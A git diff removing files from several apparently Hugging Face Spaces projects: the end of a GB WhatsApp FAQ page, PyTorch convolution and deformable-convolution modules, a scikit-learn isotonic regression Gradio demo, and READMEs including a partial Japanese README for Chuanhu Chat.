-GB WhatsApp violates the terms and conditions of WhatsApp Inc., which means that using it may be illegal in some countries or regions. It may also result in your account being banned or suspended by WhatsApp Inc. Therefore, you should check the laws and regulations of your country or region before using GB WhatsApp. You should also not use GB WhatsApp for illegal or unethical purposes.</li>
-<li><b>Can I use GB WhatsApp and official WhatsApp on the same device?</b><br>
-Yes, you can use GB WhatsApp and official WhatsApp on the same device. However, you will need to have two different phone numbers for each app. You can also use GB WhatsApp to have two WhatsApp accounts on the same device.</li>
-<li><b>How can I backup my GB WhatsApp chats and media files?</b><br>
-You can backup your GB WhatsApp chats and media files by going to your device settings and tapping on "Chats". Then tap on "Chat Backup" and choose the frequency of backups (daily, weekly, or monthly). You can also backup your data to Google Drive or your local storage.</li>
-<li><b>How can I contact GB WhatsApp support?</b><br>
-You can contact GB WhatsApp support by going to your device settings and tapping on "GB Settings". Then tap on "Help" and choose the option that suits your query. You can also visit the official website of GB WhatsApp or follow them on social media platforms for more information and updates.</li>
-</ol></p> 401be4b1e0<br />
-<br />
-<br />
\ No newline at end of file
diff --git a/spaces/simsantonioii/MusicGen-Continuation/audiocraft/modules/conv.py b/spaces/simsantonioii/MusicGen-Continuation/audiocraft/modules/conv.py
deleted file mode 100644
index 972938ab84712eb06e1b10cea25444eee51d6637..0000000000000000000000000000000000000000
--- a/spaces/simsantonioii/MusicGen-Continuation/audiocraft/modules/conv.py
+++ /dev/null
@@ -1,245 +0,0 @@
-# Copyright (c) Meta Platforms, Inc. and affiliates.
-# All rights reserved.
-#
-# This source code is licensed under the license found in the
-# LICENSE file in the root directory of this source tree.
-
-import math
-import typing as tp
-import warnings
-
-import torch
-from torch import nn
-from torch.nn import functional as F
-from torch.nn.utils import spectral_norm, weight_norm
-
-
-CONV_NORMALIZATIONS = frozenset(['none', 'weight_norm', 'spectral_norm',
-                                 'time_group_norm'])
-
-
-def apply_parametrization_norm(module: nn.Module, norm: str = 'none'):
-    assert norm in CONV_NORMALIZATIONS
-    if norm == 'weight_norm':
-        return weight_norm(module)
-    elif norm == 'spectral_norm':
-        return spectral_norm(module)
-    else:
-        # We already check was in CONV_NORMALIZATION, so any other choice
-        # doesn't need reparametrization.
-        return module
-
-
-def get_norm_module(module: nn.Module, causal: bool = False, norm: str = 'none', **norm_kwargs):
-    """Return the proper normalization module. If causal is True, this will ensure the returned
-    module is causal, or return an error if the normalization doesn't support causal evaluation.
-    """
-    assert norm in CONV_NORMALIZATIONS
-    if norm == 'time_group_norm':
-        if causal:
-            raise ValueError("GroupNorm doesn't support causal evaluation.")
-        assert isinstance(module, nn.modules.conv._ConvNd)
-        return nn.GroupNorm(1, module.out_channels, **norm_kwargs)
-    else:
-        return nn.Identity()
-
-
-def get_extra_padding_for_conv1d(x: torch.Tensor, kernel_size: int, stride: int,
-                                 padding_total: int = 0) -> int:
-    """See `pad_for_conv1d`.
-    """
-    length = x.shape[-1]
-    n_frames = (length - kernel_size + padding_total) / stride + 1
-    ideal_length = (math.ceil(n_frames) - 1) * stride + (kernel_size - padding_total)
-    return ideal_length - length
-
-
-def pad_for_conv1d(x: torch.Tensor, kernel_size: int, stride: int, padding_total: int = 0):
-    """Pad for a convolution to make sure that the last window is full.
-    Extra padding is added at the end. This is required to ensure that we can rebuild
-    an output of the same length, as otherwise, even with padding, some time steps
-    might get removed.
-    For instance, with total padding = 4, kernel size = 4, stride = 2:
-        0 0 1 2 3 4 5 0 0   # (0s are padding)
-        1   2   3           # (output frames of a convolution, last 0 is never used)
-        0 0 1 2 3 4 5 0     # (output of tr. conv., but pos. 5 is going to get removed as padding)
-            1 2 3 4         # once you removed padding, we are missing one time step !
-    """
-    extra_padding = get_extra_padding_for_conv1d(x, kernel_size, stride, padding_total)
-    return F.pad(x, (0, extra_padding))
-
-
-def pad1d(x: torch.Tensor, paddings: tp.Tuple[int, int], mode: str = 'constant', value: float = 0.):
-    """Tiny wrapper around F.pad, just to allow for reflect padding on small input.
-    If this is the case, we insert extra 0 padding to the right before the reflection happen.
-    """
-    length = x.shape[-1]
-    padding_left, padding_right = paddings
-    assert padding_left >= 0 and padding_right >= 0, (padding_left, padding_right)
-    if mode == 'reflect':
-        max_pad = max(padding_left, padding_right)
-        extra_pad = 0
-        if length <= max_pad:
-            extra_pad = max_pad - length + 1
-            x = F.pad(x, (0, extra_pad))
-        padded = F.pad(x, paddings, mode, value)
-        end = padded.shape[-1] - extra_pad
-        return padded[..., :end]
-    else:
-        return F.pad(x, paddings, mode, value)
-
-
-def unpad1d(x: torch.Tensor, paddings: tp.Tuple[int, int]):
-    """Remove padding from x, handling properly zero padding. Only for 1d!
-    """
-    padding_left, padding_right = paddings
-    assert padding_left >= 0 and padding_right >= 0, (padding_left, padding_right)
-    assert (padding_left + padding_right) <= x.shape[-1]
-    end = x.shape[-1] - padding_right
-    return x[..., padding_left: end]
-
-
-class NormConv1d(nn.Module):
-    """Wrapper around Conv1d and normalization applied to this conv
-    to provide a uniform interface across normalization approaches.
-    """
-    def __init__(self, *args, causal: bool = False, norm: str = 'none',
-                 norm_kwargs: tp.Dict[str, tp.Any] = {}, **kwargs):
-        super().__init__()
-        self.conv = apply_parametrization_norm(nn.Conv1d(*args, **kwargs), norm)
-        self.norm = get_norm_module(self.conv, causal, norm, **norm_kwargs)
-        self.norm_type = norm
-
-    def forward(self, x):
-        x = self.conv(x)
-        x = self.norm(x)
-        return x
-
-
-class NormConv2d(nn.Module):
-    """Wrapper around Conv2d and normalization applied to this conv
-    to provide a uniform interface across normalization approaches.
-    """
-    def __init__(self, *args, norm: str = 'none', norm_kwargs: tp.Dict[str, tp.Any] = {}, **kwargs):
-        super().__init__()
-        self.conv = apply_parametrization_norm(nn.Conv2d(*args, **kwargs), norm)
-        self.norm = get_norm_module(self.conv, causal=False, norm=norm, **norm_kwargs)
-        self.norm_type = norm
-
-    def forward(self, x):
-        x = self.conv(x)
-        x = self.norm(x)
-        return x
-
-
-class NormConvTranspose1d(nn.Module):
-    """Wrapper around ConvTranspose1d and normalization applied to this conv
-    to provide a uniform interface across normalization approaches.
-    """
-    def __init__(self, *args, causal: bool = False, norm: str = 'none',
-                 norm_kwargs: tp.Dict[str, tp.Any] = {}, **kwargs):
-        super().__init__()
-        self.convtr = apply_parametrization_norm(nn.ConvTranspose1d(*args, **kwargs), norm)
-        self.norm = get_norm_module(self.convtr, causal, norm, **norm_kwargs)
-        self.norm_type = norm
-
-    def forward(self, x):
-        x = self.convtr(x)
-        x = self.norm(x)
-        return x
-
-
-class NormConvTranspose2d(nn.Module):
-    """Wrapper around ConvTranspose2d and normalization applied to this conv
-    to provide a uniform interface across normalization approaches.
-    """
-    def __init__(self, *args, norm: str = 'none', norm_kwargs: tp.Dict[str, tp.Any] = {}, **kwargs):
-        super().__init__()
-        self.convtr = apply_parametrization_norm(nn.ConvTranspose2d(*args, **kwargs), norm)
-        self.norm = get_norm_module(self.convtr, causal=False, norm=norm, **norm_kwargs)
-
-    def forward(self, x):
-        x = self.convtr(x)
-        x = self.norm(x)
-        return x
-
-
-class StreamableConv1d(nn.Module):
-    """Conv1d with some builtin handling of asymmetric or causal padding
-    and normalization.
-    """
-    def __init__(self, in_channels: int, out_channels: int,
-                 kernel_size: int, stride: int = 1, dilation: int = 1,
-                 groups: int = 1, bias: bool = True, causal: bool = False,
-                 norm: str = 'none', norm_kwargs: tp.Dict[str, tp.Any] = {},
-                 pad_mode: str = 'reflect'):
-        super().__init__()
-        # warn user on unusual setup between dilation and stride
-        if stride > 1 and dilation > 1:
-            warnings.warn('StreamableConv1d has been initialized with stride > 1 and dilation > 1'
-                          f' (kernel_size={kernel_size} stride={stride}, dilation={dilation}).')
-        self.conv = NormConv1d(in_channels, out_channels, kernel_size, stride,
-                               dilation=dilation, groups=groups, bias=bias, causal=causal,
-                               norm=norm, norm_kwargs=norm_kwargs)
-        self.causal = causal
-        self.pad_mode = pad_mode
-
-    def forward(self, x):
-        B, C, T = x.shape
-        kernel_size = self.conv.conv.kernel_size[0]
-        stride = self.conv.conv.stride[0]
-        dilation = self.conv.conv.dilation[0]
-        kernel_size = (kernel_size - 1) * dilation + 1  # effective kernel size with dilations
-        padding_total = kernel_size - stride
-        extra_padding = get_extra_padding_for_conv1d(x, kernel_size, stride, padding_total)
-        if self.causal:
-            # Left padding for causal
-            x = pad1d(x, (padding_total, extra_padding), mode=self.pad_mode)
-        else:
-            # Asymmetric padding required for odd strides
-            padding_right = padding_total // 2
-            padding_left = padding_total - padding_right
-            x = pad1d(x, (padding_left, padding_right + extra_padding), mode=self.pad_mode)
-        return self.conv(x)
-
-
-class StreamableConvTranspose1d(nn.Module):
-    """ConvTranspose1d with some builtin handling of asymmetric or causal padding
-    and normalization.
-    """
-    def __init__(self, in_channels: int, out_channels: int,
-                 kernel_size: int, stride: int = 1, causal: bool = False,
-                 norm: str = 'none', trim_right_ratio: float = 1.,
-                 norm_kwargs: tp.Dict[str, tp.Any] = {}):
-        super().__init__()
-        self.convtr = NormConvTranspose1d(in_channels, out_channels, kernel_size, stride,
-                                          causal=causal, norm=norm, norm_kwargs=norm_kwargs)
-        self.causal = causal
-        self.trim_right_ratio = trim_right_ratio
-        assert self.causal or self.trim_right_ratio == 1., \
-            "`trim_right_ratio` != 1.0 only makes sense for causal convolutions"
-        assert self.trim_right_ratio >= 0. and self.trim_right_ratio <= 1.
-
-    def forward(self, x):
-        kernel_size = self.convtr.convtr.kernel_size[0]
-        stride = self.convtr.convtr.stride[0]
-        padding_total = kernel_size - stride
-
-        y = self.convtr(x)
-
-        # We will only trim fixed padding. Extra padding from `pad_for_conv1d` would be
-        # removed at the very end, when keeping only the right length for the output,
-        # as removing it here would require also passing the length at the matching layer
-        # in the encoder.
-        if self.causal:
-            # Trim the padding on the right according to the specified ratio
-            # if trim_right_ratio = 1.0, trim everything from right
-            padding_right = math.ceil(padding_total * self.trim_right_ratio)
-            padding_left = padding_total - padding_right
-            y = unpad1d(y, (padding_left, padding_right))
-        else:
-            # Asymmetric padding required for odd strides
-            padding_right = padding_total // 2
-            padding_left = padding_total - padding_right
-            y = unpad1d(y, (padding_left, padding_right))
-        return y
diff --git a/spaces/sklearn-docs/Isotonic-Regression/app.py b/spaces/sklearn-docs/Isotonic-Regression/app.py
deleted file mode 100644
index 9fd9d940cff67113387f562045e6507b0e801c61..0000000000000000000000000000000000000000
--- a/spaces/sklearn-docs/Isotonic-Regression/app.py
+++ /dev/null
@@ -1,63 +0,0 @@
-from math import e
-import gradio as gr
-import numpy as np
-import matplotlib.pyplot as plt
-from matplotlib.collections import LineCollection
-
-from sklearn.linear_model import LinearRegression
-from sklearn.isotonic import IsotonicRegression
-from sklearn.utils import check_random_state
-
-def visualize_isotonic_regression(n, random_range_min, random_range_max, out_of_bounds):
-    if random_range_min >= random_range_max:
-        raise ValueError("Random Value Range (Min) must be less than Random Value Range (Max)")
-
-    x = np.arange(n)
-    rs = check_random_state(0)
-    y = rs.randint(random_range_min, random_range_max, size=(n,)) + 50.0 * np.log1p(np.arange(n))
-
-    ir = IsotonicRegression(out_of_bounds=out_of_bounds if out_of_bounds else "clip")
-    y_ = ir.fit_transform(x, y)
-
-    lr = LinearRegression()
-    lr.fit(x[:, np.newaxis], y)  # x needs to be 2d for LinearRegression
-
-    segments = [[[i, y[i]], [i, y_[i]]] for i in range(n)]
-    lc = LineCollection(segments, zorder=0)
-    lc.set_array(np.ones(len(y)))
-    lc.set_linewidths(np.full(n, 0.5))
-
-    fig, (ax0, ax1) = plt.subplots(ncols=2, figsize=(12, 6))
-
-    ax0.plot(x, y, "C0.", markersize=12)
-    ax0.plot(x, y_, "C1.-", markersize=12)
-    ax0.plot(x, lr.predict(x[:, np.newaxis]), "C2-")
-    ax0.add_collection(lc)
-    ax0.legend(("Training data", "Isotonic fit", "Linear fit"), loc="lower right")
-    ax0.set_title("Isotonic regression fit on noisy data (n=%d)" % n)
-
-    x_test = np.linspace(np.min(x), np.max(x), 1000)  # Update test values range
-    ax1.plot(x_test, ir.predict(x_test), "C1-")
-    ax1.plot(ir.X_thresholds_, ir.y_thresholds_, "C1.", markersize=12)
-    ax1.set_title("Prediction function (%d thresholds)" % len(ir.X_thresholds_))
-
-    return fig
-
-parameters = [
-    gr.inputs.Slider(10, 100, step=10, default=50, label="Number of data points (n)"),
-    gr.inputs.Slider(-50, 50, step=1, default=-50, label="Random Value Range (Min)"),
-    gr.inputs.Slider(-50, 50, step=1, default=50, label="Random Value Range (Max)"),
-    gr.inputs.Radio(["clip", "nan", "raise"], default="clip", label="Out of Bounds Strategy"),
-    # gr.inputs.Dropdown(["clip", "nan", "raise"], default="clip", label="Out of Bounds Strategy"),
-]
-
-description = "This app presents an illustration of the isotonic regression on generated data (non-linear monotonic trend with homoscedastic uniform noise). The isotonic regression algorithm finds a non-decreasing approximation of a function while minimizing the mean squared error on the training data. The benefit of such a non-parametric model is that it does not assume any shape for the target function besides monotonicity. For comparison a linear regression is also presented. See the original scikit-learn example here: https://scikit-learn.org/stable/auto_examples/miscellaneous/plot_isotonic_regression.html"
-
-examples = [
-    [50, -30, 30, "clip"],
-    [30, -20, 40, "nan"],
-    [70, -10, 20, "raise"],
-]
-
-iface = gr.Interface(fn=visualize_isotonic_regression, inputs=parameters, outputs="plot", title="Isotonic Regression Visualization", description=description, examples=examples, live=True)
-iface.launch()
diff --git a/spaces/sklkd93/CodeFormer/CodeFormer/basicsr/ops/dcn/deform_conv.py b/spaces/sklkd93/CodeFormer/CodeFormer/basicsr/ops/dcn/deform_conv.py
deleted file mode 100644
index 734154f9ed9447d585eae7df6886acb136f8a3cf..0000000000000000000000000000000000000000
--- a/spaces/sklkd93/CodeFormer/CodeFormer/basicsr/ops/dcn/deform_conv.py
+++ /dev/null
@@ -1,377 +0,0 @@
-import math
-import torch
-from torch import nn as nn
-from torch.autograd import Function
-from torch.autograd.function import once_differentiable
-from torch.nn import functional as F
-from torch.nn.modules.utils import _pair, _single
-
-try:
-    from . import deform_conv_ext
-except ImportError:
-    import os
-    BASICSR_JIT = os.getenv('BASICSR_JIT')
-    if BASICSR_JIT == 'True':
-        from torch.utils.cpp_extension import load
-        module_path = os.path.dirname(__file__)
-        deform_conv_ext = load(
-            'deform_conv',
-            sources=[
-                os.path.join(module_path, 'src', 'deform_conv_ext.cpp'),
-                os.path.join(module_path, 'src', 'deform_conv_cuda.cpp'),
-                os.path.join(module_path, 'src', 'deform_conv_cuda_kernel.cu'),
-            ],
-        )
-
-
-class DeformConvFunction(Function):
-
-    @staticmethod
-    def forward(ctx,
-                input,
-                offset,
-                weight,
-                stride=1,
-                padding=0,
-                dilation=1,
-                groups=1,
-                deformable_groups=1,
-                im2col_step=64):
-        if input is not None and input.dim() != 4:
-            raise ValueError(f'Expected 4D tensor as input, got {input.dim()}' 'D tensor instead.')
-        ctx.stride = _pair(stride)
-        ctx.padding = _pair(padding)
-        ctx.dilation = _pair(dilation)
-        ctx.groups = groups
-        ctx.deformable_groups = deformable_groups
-        ctx.im2col_step = im2col_step
-
-        ctx.save_for_backward(input, offset, weight)
-
-        output = input.new_empty(DeformConvFunction._output_size(input, weight, ctx.padding, ctx.dilation, ctx.stride))
-
-        ctx.bufs_ = [input.new_empty(0), input.new_empty(0)]  # columns, ones
-
-        if not input.is_cuda:
-            raise NotImplementedError
-        else:
-            cur_im2col_step = min(ctx.im2col_step, input.shape[0])
-            assert (input.shape[0] % cur_im2col_step) == 0, 'im2col step must divide batchsize'
-            deform_conv_ext.deform_conv_forward(input, weight,
-                                                offset, output, ctx.bufs_[0], ctx.bufs_[1], weight.size(3),
-                                                weight.size(2), ctx.stride[1], ctx.stride[0], ctx.padding[1],
-                                                ctx.padding[0], ctx.dilation[1], ctx.dilation[0], ctx.groups,
-                                                ctx.deformable_groups, cur_im2col_step)
-        return output
-
-    @staticmethod
-    @once_differentiable
-    def backward(ctx, grad_output):
-        input, offset, weight = ctx.saved_tensors
-
-        grad_input = grad_offset = grad_weight = None
-
-        if not grad_output.is_cuda:
-            raise NotImplementedError
-        else:
-            cur_im2col_step = min(ctx.im2col_step, input.shape[0])
-            assert (input.shape[0] % cur_im2col_step) == 0, 'im2col step must divide batchsize'
-
-            if ctx.needs_input_grad[0] or ctx.needs_input_grad[1]:
-                grad_input = torch.zeros_like(input)
-                grad_offset = torch.zeros_like(offset)
-                deform_conv_ext.deform_conv_backward_input(input, offset, grad_output, grad_input,
-                                                           grad_offset, weight, ctx.bufs_[0], weight.size(3),
-                                                           weight.size(2), ctx.stride[1], ctx.stride[0], ctx.padding[1],
-                                                           ctx.padding[0], ctx.dilation[1], ctx.dilation[0], ctx.groups,
-                                                           ctx.deformable_groups, cur_im2col_step)
-
-            if ctx.needs_input_grad[2]:
-                grad_weight = torch.zeros_like(weight)
-                deform_conv_ext.deform_conv_backward_parameters(input, offset, grad_output, grad_weight,
-                                                                ctx.bufs_[0], ctx.bufs_[1], weight.size(3),
-                                                                weight.size(2), ctx.stride[1], ctx.stride[0],
-                                                                ctx.padding[1], ctx.padding[0], ctx.dilation[1],
-                                                                ctx.dilation[0], ctx.groups, ctx.deformable_groups, 1,
-                                                                cur_im2col_step)
-
-        return (grad_input, grad_offset, grad_weight, None, None, None, None, None)
-
-    @staticmethod
-    def _output_size(input, weight, padding, dilation, stride):
-        channels = weight.size(0)
-        output_size = (input.size(0), channels)
-        for d in range(input.dim() - 2):
-            in_size = input.size(d + 2)
-            pad = padding[d]
-            kernel = dilation[d] * (weight.size(d + 2) - 1) + 1
-            stride_ = stride[d]
-            output_size += ((in_size + (2 * pad) - kernel) // stride_ + 1, )
-        if not all(map(lambda s: s > 0, output_size)):
-            raise ValueError('convolution input is too small (output would be ' f'{"x".join(map(str, output_size))})')
-        return output_size
-
-
-class ModulatedDeformConvFunction(Function):
-
-    @staticmethod
-    def forward(ctx,
-                input,
-                offset,
-                mask,
-                weight,
-                bias=None,
-                stride=1,
-                padding=0,
-                dilation=1,
-                groups=1,
-                deformable_groups=1):
-        ctx.stride = stride
-        ctx.padding = padding
-        ctx.dilation = dilation
-        ctx.groups = groups
-        ctx.deformable_groups = deformable_groups
-        ctx.with_bias = bias is not None
-        if not ctx.with_bias:
-            bias = input.new_empty(1)  # fake tensor
-        if not input.is_cuda:
-            raise NotImplementedError
-        if weight.requires_grad or mask.requires_grad or offset.requires_grad \
-                or input.requires_grad:
-            ctx.save_for_backward(input, offset, mask, weight, bias)
-        output = input.new_empty(ModulatedDeformConvFunction._infer_shape(ctx, input, weight))
-        ctx._bufs = [input.new_empty(0), input.new_empty(0)]
-        deform_conv_ext.modulated_deform_conv_forward(input, weight, bias, ctx._bufs[0], offset, mask, output,
-                                                      ctx._bufs[1], weight.shape[2], weight.shape[3], ctx.stride,
-                                                      ctx.stride, ctx.padding, ctx.padding, ctx.dilation, ctx.dilation,
-                                                      ctx.groups, ctx.deformable_groups, ctx.with_bias)
-        return output
-
-    @staticmethod
-    @once_differentiable
-    def backward(ctx, grad_output):
-        if not grad_output.is_cuda:
-            raise NotImplementedError
-        input, offset, mask, weight, bias = ctx.saved_tensors
-        grad_input = torch.zeros_like(input)
-        grad_offset = torch.zeros_like(offset)
-        grad_mask = torch.zeros_like(mask)
-        grad_weight = torch.zeros_like(weight)
-        grad_bias = torch.zeros_like(bias)
-        deform_conv_ext.modulated_deform_conv_backward(input, weight, bias, ctx._bufs[0], offset, mask, ctx._bufs[1],
-                                                       grad_input, grad_weight, grad_bias, grad_offset, grad_mask,
-                                                       grad_output, weight.shape[2], weight.shape[3], ctx.stride,
-                                                       ctx.stride, ctx.padding, ctx.padding, ctx.dilation, ctx.dilation,
-                                                       ctx.groups, ctx.deformable_groups, ctx.with_bias)
-        if not ctx.with_bias:
-            grad_bias = None
-
-        return (grad_input, grad_offset, grad_mask, grad_weight, grad_bias, None, None, None, None, None)
-
-    @staticmethod
-    def _infer_shape(ctx, input, weight):
-        n = input.size(0)
-        channels_out = weight.size(0)
-        height, width = input.shape[2:4]
-        kernel_h, kernel_w = weight.shape[2:4]
-        height_out = (height + 2 * ctx.padding - (ctx.dilation * (kernel_h - 1) + 1)) // ctx.stride + 1
-        width_out = (width + 2 * ctx.padding - (ctx.dilation * (kernel_w - 1) + 1)) // ctx.stride + 1
-        return n, channels_out, height_out, width_out
-
-
-deform_conv = DeformConvFunction.apply
-modulated_deform_conv = ModulatedDeformConvFunction.apply
-
-
-class DeformConv(nn.Module):
-
-    def __init__(self,
-                 in_channels,
-                 out_channels,
-                 kernel_size,
-                 stride=1,
-                 padding=0,
-                 dilation=1,
-                 groups=1,
-                 deformable_groups=1,
-                 bias=False):
-        super(DeformConv, self).__init__()
-
-        assert not bias
-        assert in_channels % groups == 0, \
-            f'in_channels {in_channels} is not divisible by groups {groups}'
-        assert out_channels % groups == 0, \
-            f'out_channels {out_channels} is not divisible ' \
-            f'by groups {groups}'
-
-        self.in_channels = in_channels
-        self.out_channels = out_channels
-        self.kernel_size = _pair(kernel_size)
-        self.stride = _pair(stride)
-        self.padding = _pair(padding)
-        self.dilation = _pair(dilation)
-        self.groups = groups
-        self.deformable_groups = deformable_groups
-        # enable compatibility with nn.Conv2d
-        self.transposed = False
-        self.output_padding = _single(0)
-
-        self.weight = nn.Parameter(torch.Tensor(out_channels, in_channels // self.groups, *self.kernel_size))
-
-        self.reset_parameters()
-
-    def reset_parameters(self):
-        n = self.in_channels
-        for k in self.kernel_size:
-            n *= k
-        stdv = 1. / math.sqrt(n)
-        self.weight.data.uniform_(-stdv, stdv)
-
-    def forward(self, x, offset):
-        # To fix an assert error in deform_conv_cuda.cpp:128
-        # input image is smaller than kernel
-        input_pad = (x.size(2) < self.kernel_size[0] or x.size(3) < self.kernel_size[1])
-        if input_pad:
-            pad_h = max(self.kernel_size[0] - x.size(2), 0)
-            pad_w = max(self.kernel_size[1] - x.size(3), 0)
-            x = F.pad(x, (0, pad_w, 0, pad_h), 'constant', 0).contiguous()
-            offset = F.pad(offset, (0, pad_w, 0, pad_h), 'constant', 0).contiguous()
-        out = deform_conv(x, offset, self.weight, self.stride, self.padding, self.dilation, self.groups,
-                          self.deformable_groups)
-        if input_pad:
-            out = out[:, :, :out.size(2) - pad_h, :out.size(3) - pad_w].contiguous()
-        return out
-
-
-class DeformConvPack(DeformConv):
-    """A Deformable Conv Encapsulation that acts as normal Conv layers.
-
-    Args:
-        in_channels (int): Same as nn.Conv2d.
-        out_channels (int): Same as nn.Conv2d.
-        kernel_size (int or tuple[int]): Same as nn.Conv2d.
-        stride (int or tuple[int]): Same as nn.Conv2d.
-        padding (int or tuple[int]): Same as nn.Conv2d.
-        dilation (int or tuple[int]): Same as nn.Conv2d.
-        groups (int): Same as nn.Conv2d.
-        bias (bool or str): If specified as `auto`, it will be decided by the
-            norm_cfg. Bias will be set as True if norm_cfg is None, otherwise
-            False.
-    """
-
-    _version = 2
-
-    def __init__(self, *args, **kwargs):
-        super(DeformConvPack, self).__init__(*args, **kwargs)
-
-        self.conv_offset = nn.Conv2d(
-            self.in_channels,
-            self.deformable_groups * 2 * self.kernel_size[0] * self.kernel_size[1],
-            kernel_size=self.kernel_size,
-            stride=_pair(self.stride),
-            padding=_pair(self.padding),
-            dilation=_pair(self.dilation),
-            bias=True)
-        self.init_offset()
-
-    def init_offset(self):
-        self.conv_offset.weight.data.zero_()
-        self.conv_offset.bias.data.zero_()
-
-    def forward(self, x):
-        offset = self.conv_offset(x)
-        return deform_conv(x, offset, self.weight, self.stride, self.padding, self.dilation, self.groups,
-                           self.deformable_groups)
-
-
-class ModulatedDeformConv(nn.Module):
-
-    def __init__(self,
-                 in_channels,
-                 out_channels,
-                 kernel_size,
-                 stride=1,
-                 padding=0,
-                 dilation=1,
-                 groups=1,
-                 deformable_groups=1,
-                 bias=True):
-        super(ModulatedDeformConv, self).__init__()
-        self.in_channels = in_channels
-        self.out_channels = out_channels
-        self.kernel_size = _pair(kernel_size)
-        self.stride = stride
-        self.padding = padding
-        self.dilation = dilation
-        self.groups = groups
-        self.deformable_groups = deformable_groups
-        self.with_bias = bias
-        # enable compatibility with nn.Conv2d
-        self.transposed = False
-        self.output_padding = _single(0)
-
-        self.weight = nn.Parameter(torch.Tensor(out_channels, in_channels // groups, *self.kernel_size))
-        if bias:
-            self.bias = nn.Parameter(torch.Tensor(out_channels))
-        else:
-            self.register_parameter('bias', None)
-        self.init_weights()
-
-    def init_weights(self):
-        n = self.in_channels
-        for k in self.kernel_size:
-            n *= k
-        stdv = 1. / math.sqrt(n)
-        self.weight.data.uniform_(-stdv, stdv)
-        if self.bias is not None:
-            self.bias.data.zero_()
-
-    def forward(self, x, offset, mask):
-        return modulated_deform_conv(x, offset, mask, self.weight, self.bias, self.stride, self.padding, self.dilation,
-                                     self.groups, self.deformable_groups)
-
-
-class ModulatedDeformConvPack(ModulatedDeformConv):
-    """A ModulatedDeformable Conv Encapsulation that acts as normal Conv layers.
-
-    Args:
-        in_channels (int): Same as nn.Conv2d.
-        out_channels (int): Same as nn.Conv2d.
-        kernel_size (int or tuple[int]): Same as nn.Conv2d.
-        stride (int or tuple[int]): Same as nn.Conv2d.
-        padding (int or tuple[int]): Same as nn.Conv2d.
-        dilation (int or tuple[int]): Same as nn.Conv2d.
-        groups (int): Same as nn.Conv2d.
-        bias (bool or str): If specified as `auto`, it will be decided by the
-            norm_cfg. Bias will be set as True if norm_cfg is None, otherwise
-            False.
-    """
-
-    _version = 2
-
-    def __init__(self, *args, **kwargs):
-        super(ModulatedDeformConvPack, self).__init__(*args, **kwargs)
-
-        self.conv_offset = nn.Conv2d(
-            self.in_channels,
-            self.deformable_groups * 3 * self.kernel_size[0] * self.kernel_size[1],
-            kernel_size=self.kernel_size,
-            stride=_pair(self.stride),
-            padding=_pair(self.padding),
-            dilation=_pair(self.dilation),
-            bias=True)
-        self.init_weights()
-
-    def init_weights(self):
-        super(ModulatedDeformConvPack, self).init_weights()
-        if hasattr(self, 'conv_offset'):
-            self.conv_offset.weight.data.zero_()
-            self.conv_offset.bias.data.zero_()
-
-    def forward(self, x):
-        out = self.conv_offset(x)
-        o1, o2, mask = torch.chunk(out, 3, dim=1)
-        offset = torch.cat((o1, o2), dim=1)
-        mask = torch.sigmoid(mask)
-        return modulated_deform_conv(x, offset, mask, self.weight, self.bias, self.stride, self.padding, self.dilation,
-                                     self.groups, self.deformable_groups)
diff --git a/spaces/skytnt/waifu-gan/README.md b/spaces/skytnt/waifu-gan/README.md
deleted file mode 100644
index e2dd8e01f626da305a344a6526517538bf21843e..0000000000000000000000000000000000000000
--- a/spaces/skytnt/waifu-gan/README.md
+++ /dev/null
@@ -1,13 +0,0 @@
----
-title: Waifu Gan
-emoji: 📈
-colorFrom: blue
-colorTo: pink
-sdk: gradio
-sdk_version: 3.12.0
-app_file: app.py
-pinned: false
-license: apache-2.0
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
diff --git a/spaces/skyxx/skyxxChat/readme/README_ja.md b/spaces/skyxx/skyxxChat/readme/README_ja.md
deleted file mode 100644
index fc56eec0b81c22ff0a49e3960aa52ffd7d6dc5cb..0000000000000000000000000000000000000000
--- a/spaces/skyxx/skyxxChat/readme/README_ja.md
+++ /dev/null
@@ -1,126 +0,0 @@
-<div align="right">
-  <!-- Language: -->
-  <a title="Chinese" href="../README.md">简体中文</a> | <a title="English" href="README_en.md">English</a> | 日本語
-</div>
-
-<h1 align="center">川虎 Chat 🐯 Chuanhu Chat</h1>
-<div align="center">
-  <a href="https://github.com/GaiZhenBiao/ChuanhuChatGPT">
-    <img src="https://user-images.githubusercontent.com/70903329/227087087-93b37d64-7dc3-4738-a518-c1cf05591c8a.png" alt="Logo" height="156">
-  </a>
-
-<p align="center">
-    <h3>ChatGPT/ChatGLM/LLaMAなどのLLMのための軽量でユーザーフレンドリーなWeb-UI</h3>
-    <p align="center">
-      <a href="https://github.com/GaiZhenbiao/ChuanhuChatGPT/blob/main/LICENSE">
-        <img alt="Tests Passing" src="https://img.shields.io/github/license/GaiZhenbiao/ChuanhuChatGPT" />
-      </a>
-      <a href="https://gradio.app/">
-        <img alt="GitHub Contributors" src="https://img.shields.io/badge/Base-Gradio-fb7d1a?style=flat" />
-      </a>
-      <a href="https://t.me/tkdifferent">
-        <img alt="GitHub pull requests" src="https://img.shields.io/badge/Telegram-Group-blue.svg?logo=telegram" />
-      </a>
-      <p>
-        ストリーム出力／会話回数無制限／履歴保存／プリセットプロンプト／ファイルへの質問チャット<br>
-        ウェブ検索／LaTeXレンダリング／表レンダリング／コードハイライト<br>
-        オートダークモード／アダプティブ・ウェブ・インターフェイス／WeChatライク・テーマ<br />
-        マルチパラメーターチューニング／マルチAPI-Key対応／マルチユーザー対応<br>
-        GPT-4対応／LLMのローカルデプロイ可能。
-      </p>
-      <a href="https://www.youtube.com/watch?v=MtxS4XZWbJE"><strong>動画チュートリアル</strong></a>
-        ·
-      <a href="https://www.youtube.com/watch?v=77nw7iimYDE"><strong>2.0 イントロダクション</strong></a>
-        ·
-      <a href="https://www.youtube.com/watch?v=x-O1jjBqgu4"><strong>3.0 イントロダクション & チュートリアル</strong></a>
-	||
-      <a href="https://huggingface.co/spaces/JohnSmith9982/ChuanhuChatGPT"><strong>オンライントライアル</strong></a>
-      	·
-      <a href="https://huggingface.co/login?next=%2Fspaces%2FJohnSmith9982%2FChuanhuChatGPT%3Fduplicate%3Dtrue"><strong>ワンクリックデプロイ</strong></a>
-    </p>
-    <p align="center">
-      <img alt="Animation Demo" src="https://user-images.githubusercontent.com/51039745/226255695-6b17ff1f-ea8d-464f-b69b-a7b6b68fffe8.gif" />
-    </p>
-  </p>
-</div>
-
-## 使う上でのTips
-
-- ChatGPTをより適切に制御するために、システムプロンプトを使用できます。
